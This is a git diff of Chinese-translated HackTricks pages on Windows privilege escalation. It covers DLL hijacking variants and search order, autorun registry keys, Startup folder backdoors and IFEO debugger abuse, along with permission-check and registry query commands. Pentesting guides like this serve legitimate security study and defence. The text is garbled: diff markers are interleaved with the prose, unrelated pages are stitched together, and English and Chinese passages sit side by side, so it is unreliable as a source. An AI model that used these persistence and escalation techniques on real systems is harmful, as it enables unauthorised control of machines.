首先,让我们先了解一下定义。DLL劫持是指以最广义的意义上,**欺骗一个合法/可信的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
|
||||
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中,**最不可能**发现的是**提升权限**。然而,由于这是权限提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
|
||||
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中,**最不可能**发现的是**提升权限**。然而,由于这是特权提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
|
||||
|
||||
### 类型
|
||||
|
||||
|
@ -30,8 +30,8 @@ DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**
|
|||
|
||||
1. **DLL替换**:用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用\[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)],以确保原始DLL的所有功能保持完整。
|
||||
2. **DLL搜索顺序劫持**:应用程序指定的没有路径的DLL按照特定顺序在固定位置进行搜索\[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。通过将恶意DLL放在实际DLL之前进行搜索顺序劫持。这有时包括目标应用程序的工作目录。
|
||||
3. **幻影DLL劫持**:将恶意DLL放在缺失/不存在的DLL位置,合法应用程序尝试加载该DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**:更改搜索DLL的位置,例如通过编辑`%PATH%`环境变量,或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
3. **幻影DLL劫持**:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**:更改DLL的搜索位置,例如通过编辑`%PATH%`环境变量或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLL替换**:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载\[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相对路径DLL劫持**:将合法应用程序复制(并可选地重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
||||
|
||||
|
@ -51,48 +51,48 @@ DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**
|
|||
如果你正在寻找**特定可执行文件中缺失的DLL**,你应该设置**另一个过滤器,如"进程名称" "包含" "\<exec name>"**,执行它,并停止捕获事件。
|
||||
## 利用缺失的 DLL 进行提权
|
||||
|
||||
为了提升权限,我们最好的机会是能够**编写一个 DLL,让一个特权进程尝试加载**它在某个**将要被搜索的位置**。因此,我们将能够在一个**在原始 DLL 之前被搜索的文件夹**中**编写**一个 DLL(奇怪的情况),或者我们将能够在一个**将要被搜索的文件夹**中**编写**一个 DLL,而原始的** DLL 在任何文件夹中都不存在**。
|
||||
为了提升权限,我们最好的机会是能够编写一个特权进程将尝试加载的 DLL。因此,我们将能够在某个将被搜索的位置编写一个 DLL,该位置在原始 DLL 所在的文件夹之前(奇怪的情况),或者我们将能够在某个将被搜索的文件夹中编写一个 DLL,而原始 DLL 在任何文件夹中都不存在。
|
||||
|
||||
### DLL 搜索顺序
|
||||
|
||||
**在**[**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)**中,你可以找到 DLL 的具体加载方式。**
|
||||
您可以在[Microsoft 文档](https://docs.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)中找到 DLL 的加载方式。
|
||||
|
||||
一般来说,**Windows 应用程序**会使用**预定义的搜索路径来查找 DLL**,并按照特定的顺序检查这些路径。DLL 劫持通常是通过将恶意 DLL 放置在其中一个文件夹中,同时确保该 DLL 在合法 DLL 之前被找到。通过让应用程序指定 DLL 的绝对路径,可以缓解这个问题。
|
||||
一般来说,Windows 应用程序将使用预定义的搜索路径来查找 DLL,并按特定顺序检查这些路径。 DLL 劫持通常是通过将恶意 DLL 放置在其中一个文件夹中,同时确保在找到合法 DLL 之前找到该 DLL 来实现的。通过让应用程序指定所需 DLL 的绝对路径,可以缓解此问题。
|
||||
|
||||
你可以在**32 位系统上**看到 DLL 搜索顺序如下:
|
||||
您可以在 32 位系统上查看 DLL 搜索顺序如下:
|
||||
|
||||
1. 应用程序加载的目录。
|
||||
2. 系统目录。使用[**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)函数获取该目录的路径。(_C:\Windows\System32_)
|
||||
3. 16 位系统目录。没有函数可以获取该目录的路径,但是会进行搜索。(_C:\Windows\System_)
|
||||
4. Windows 目录。使用[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)函数获取该目录的路径。(_C:\Windows_)
|
||||
2. 系统目录。使用 [GetSystemDirectory](https://docs.microsoft.com/zh-cn/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取此目录的路径。(_C:\Windows\System32_)
|
||||
3. 16 位系统目录。没有获取此目录路径的函数,但会进行搜索。(_C:\Windows\System_)
|
||||
4. Windows 目录。使用 [GetWindowsDirectory](https://docs.microsoft.com/zh-cn/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取此目录的路径。(_C:\Windows_)
|
||||
5. 当前目录。
|
||||
6. 在 PATH 环境变量中列出的目录。请注意,这不包括由**App Paths**注册表键指定的每个应用程序路径。计算 DLL 搜索路径时,不使用**App Paths**键。
|
||||
6. 列在 PATH 环境变量中的目录。请注意,这不包括由 **App Paths** 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时,不使用 **App Paths** 键。
|
||||
|
||||
这是启用**SafeDllSearchMode**的**默认**搜索顺序。当禁用此功能时,当前目录将升至第二位。要禁用此功能,请创建**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**注册表值,并将其设置为 0(默认启用)。
|
||||
这是启用 **SafeDllSearchMode** 的默认搜索顺序。当禁用此功能时,当前目录将升至第二位。要禁用此功能,请创建 **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值,并将其设置为 0(默认启用)。
|
||||
|
||||
如果使用[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)函数调用**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**,搜索将从**LoadLibraryEx**正在加载的可执行模块的目录开始。
|
||||
如果使用 [LoadLibraryEx](https://docs.microsoft.com/zh-cn/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数调用 **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**,则搜索将从 **LoadLibraryEx** 加载的可执行模块的目录开始。
|
||||
|
||||
最后,请注意**DLL 可以通过指定绝对路径而不仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将按名称搜索,就像刚加载的一样)。
|
||||
最后,请注意,DLL 可以通过指定绝对路径而不仅仅是名称来加载。在这种情况下,该 DLL 仅在该路径中搜索(如果 DLL 有任何依赖项,则将按名称搜索)。
|
||||
|
||||
还有其他改变搜索顺序的方法,但我不会在这里解释它们。
|
||||
|
||||
#### Windows 文档中的 DLL 搜索顺序异常
|
||||
|
||||
* 如果**已经在内存中加载了具有相同模块名称的 DLL**,系统在解析到已加载的 DLL 之前,仅检查重定向和清单。**系统不会搜索该 DLL**。
|
||||
* 如果 DLL 在应用程序运行的 Windows 版本的**已知 DLL 列表**中,**系统将使用其自己的已知 DLL 的副本**(以及已知 DLL 的依赖 DLL,如果有的话),**而不是搜索**该 DLL。有关当前系统上已知 DLL 的列表,请参阅以下注册表键:**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。
|
||||
* 如果一个 DLL 有依赖项,系统会像只加载它们的**模块名称**一样搜索这些依赖项的 DLL。即使第一个 DLL 是通过指定完整路径加载的,这也是正确的。
|
||||
* 如果**已在内存中加载了具有相同模块名称的 DLL**,则系统在解析到已加载的 DLL 之前,仅检查重定向和清单。**系统不会搜索该 DLL**。
|
||||
* 如果 DLL 在应用程序运行的 Windows 版本的**已知 DLL 列表**上,**系统将使用其已知 DLL 的副本**(以及已知 DLL 的依赖 DLL,如果有的话),**而不是搜索**该 DLL。有关当前系统上已知 DLL 的列表,请参阅以下注册表键:**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。
|
||||
* 如果 DLL 有依赖项,系统将按照它们仅使用其模块名称加载的方式搜索依赖 DLL。即使第一个 DLL 是通过指定完整路径加载的,这也是正确的。
|
||||
|
||||
### 提升权限
|
||||
|
||||
**要求**:
|
||||
**先决条件**:
|
||||
|
||||
* 找到一个以**其他权限**(水平/横向移动)运行/将要运行的进程,该进程**缺少一个 DLL**。
|
||||
* 在任何**将要被搜索的文件夹**(可能是可执行文件目录或系统路径中的某个文件夹)上具有**写权限**。
|
||||
* 在将要搜索 DLL 的任何**文件夹**上具有**写权限**(可能是可执行文件目录或系统路径中的某个文件夹)。
|
||||
|
||||
是的,要求很难找到,因为**默认情况下很难找到一个缺少 DLL 的特权可执行文件**,而且**在系统路径文件夹中默认情况下没有写权限**(你不能)。但是,在配置错误的环境中,这是可能的。\
|
||||
如果你幸运地满足了这些要求,你可以查看[UACME](https://github.com/hfiref0x/UACME)项目。即使该项目的**主要目标是绕过 UAC**,你可能会在那里找到一个适用于你的 Windows 版本的 DLL 劫持的 PoC(可能只需更改你具有写权限的文件夹的路径)。
|
||||
是的,要满足这些先决条件很复杂,因为**默认情况下很难找到一个缺少 DLL 的特权可执行文件**,而且**在系统路径文件夹中默认情况下无法获得写权限**。但是,在配置错误的环境中,这是可能的。\
|
||||
如果您幸运地发现自己满足了这些要求,您可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的**主要目标是绕过 UAC**,您可能会在那里找到一个适用于您所使用的 Windows 版本的 DLL 劫持的 PoC(可能只需更改您具有写权限的文件夹的路径)。
|
||||
|
||||
请注意,你可以通过执行以下操作**检查文件夹中的权限**:
|
||||
请注意,您可以通过执行以下操作**检查文件夹中的权限**:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
|
@ -227,7 +227,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -240,7 +240,7 @@ return TRUE;
|
|||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
|
|||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
|
||||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
|
||||
|
||||
任何创建到启动子键所指向位置的快捷方式都会在登录/重启时启动服务。启动位置在本地计算机和当前用户中都有指定。
|
||||
任何创建到启动子键指向的位置的快捷方式都会在登录/重启时启动服务。启动位置在本地计算机和当前用户中都有指定。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果你能覆盖掉 **HKLM** 下的任何\[User] Shell Folder,你就可以将其指向一个由你控制的文件夹,并放置一个后门,这样每当用户登录系统时,特权就会被提升并执行后门。
|
||||
如果你可以覆盖**HKLM**下的任何\[User] Shell Folder,你就可以将其指向一个由你控制的文件夹,并放置一个后门,这样每当用户登录系统时,特权就会被提升并执行后门。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
|
||||
|
@ -310,22 +310,22 @@ The Image File Execution Options (IFEO) is a Windows feature that allows develop
|
|||
|
||||
When a program is launched, the operating system checks if there are any IFEO entries for that program in the Windows Registry. If an IFEO entry exists, the specified debugger is launched instead of the original program. This can be used to execute arbitrary code with elevated privileges.
|
||||
|
||||
当一个程序被启动时,操作系统会检查Windows注册表中是否存在该程序的任何IFEO条目。如果存在IFEO条目,则会启动指定的调试器而不是原始程序。这可以用来以提升的权限执行任意代码。
|
||||
当一个程序被启动时,操作系统会检查Windows注册表中是否存在该程序的任何IFEO条目。如果存在IFEO条目,则启动指定的调试器而不是原始程序。这可以用来以提升的权限执行任意代码。
|
||||
|
||||
To escalate privileges using IFEO, an attacker can create a new IFEO entry for a system utility or a trusted application that runs with higher privileges. The attacker can specify their own malicious binary as the debugger, which will be executed with elevated privileges whenever the targeted program is launched.
|
||||
|
||||
要利用IFEO提升权限,攻击者可以为系统实用程序或以较高权限运行的受信任应用程序创建一个新的IFEO条目。攻击者可以将自己的恶意二进制文件指定为调试器,每当目标程序启动时,该恶意二进制文件都会以提升的权限执行。
|
||||
要使用IFEO提升权限,攻击者可以为系统实用程序或以较高权限运行的受信任应用程序创建一个新的IFEO条目。攻击者可以将自己的恶意二进制文件指定为调试器,每当目标程序启动时,该恶意二进制文件都会以提升的权限执行。
|
||||
|
||||
This technique can be used to bypass security measures that rely on the integrity of system utilities or trusted applications. By executing arbitrary code with elevated privileges, an attacker can gain full control over the compromised system.
|
||||
To prevent privilege escalation through IFEO, it is recommended to regularly monitor the IFEO entries in the Windows Registry and remove any suspicious or unnecessary entries. Additionally, restricting write access to the IFEO registry keys can help mitigate this attack vector.
|
||||
|
||||
这种技术可以用来绕过依赖于系统实用程序或受信任应用程序完整性的安全措施。通过以提升的权限执行任意代码,攻击者可以完全控制被攻击系统。
|
||||
为了防止通过IFEO进行权限提升,建议定期监视Windows注册表中的IFEO条目,并删除任何可疑或不必要的条目。此外,限制对IFEO注册表键的写访问可以帮助减轻这种攻击向量。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
```
|
||||
## SysInternals
|
||||
|
||||
请注意,您可以找到自动运行的所有站点都已经被**winpeas.exe**搜索过了。但是,为了获得更全面的自动执行文件列表,您可以使用[systinternals的autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns):
|
||||
请注意,您可以找到自动运行的所有站点已经被**winpeas.exe**搜索过了。但是,为了获得更全面的自动执行文件列表,您可以使用[systinternals的autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns):
|
||||
```
|
||||
autorunsc.exe -m -nobanner -a * -ct /accepteula
|
||||
```
|
||||
|
@ -339,7 +339,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -350,7 +350,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
|